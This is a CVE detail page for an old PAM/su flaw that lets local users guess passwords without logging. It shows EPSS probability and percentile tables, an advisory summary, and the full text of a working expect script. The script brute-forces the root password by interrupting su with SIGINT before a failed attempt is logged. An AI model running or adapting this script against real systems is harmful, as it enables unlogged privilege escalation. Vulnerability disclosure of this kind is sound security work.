CVE-2000-0118 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.15%
2025-03-30	–	–	–	–	0.15%
2025-04-15	–	–	–	–	0.15%
2025-04-15	–	–	–	–	0.15,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	33%
2025-03-30	32%
2025-04-15	36%
2025-04-15	36%

source: https://www.securityfocus.com/bid/320/info A vulnerability in PAM allows local malicious users to brute force passwords via the su command without any logging of their activity. su is a command that allows users to change identifies by supplying a password. If the password is correct su immediately executes a new shell with the identity of the nw user, otherwise it sleeps for a second and then logs an authentication failure to syslog. Since su sleeps before logging the failure and does not trap SIGINT a user can try a password and if su does not immediately give him a new shell and before one second hits control-c his attempt will not be logged. He can automate the process to brute force passwords. Its been tested using sh-utils-1.16-14 and pam-0.64-3. #!/usr/local/bin/expect -- # A quick little sploit for a quick round of beers :) mudge@L0pht.com # # This was something that had been floating around for some time. # It might have been bitwrior that pointed out some of the oddities # but I don't remember. # # It was mentioned to Casper Dik at some point and it was fixed in # the next rev of Solaris (don't remember if the fix took place in # 2.5.1 or 2.6 - I know it is in 2.6 at least). # # What happened was that the Solaris 2.5 and below systems # had /bin/su written in the following fashion : # # attempt to SU # | # succesfull # / \ # Y N # | | # exec cmd sleep # | # syslog # | # exit # # There were a few problems here - not the least of which was that they # did not bother to trap signals. Thus, if you noticed su taking a while # you most likely entered an incorrect password and were in the # sleep phase. # # Sending a SIGINT by hitting ctrl-c would kill the process # before the syslog of the invalid attempt occured. # # In current versions of /bin/su they DO trap signals. # # It should be noted that this is a fairly common coding problem that # people will find in a lot of "security related" programs. # # .mudge if { ($argc < 1) || ($argc > 1) } { puts "correct usage is : $argv0 pwfile" exit } set pwfile [open $argv "r"] log_user 0 foreach line [split [read $pwfile] "\n"] { spawn su root expect "Password:" send "$line\n" # you might need to tweak this but it should be ok set timeout 2 expect { "#" { puts "root password is $line\n" ; exit } } set id [ exp_pid ] exec kill -INT $id }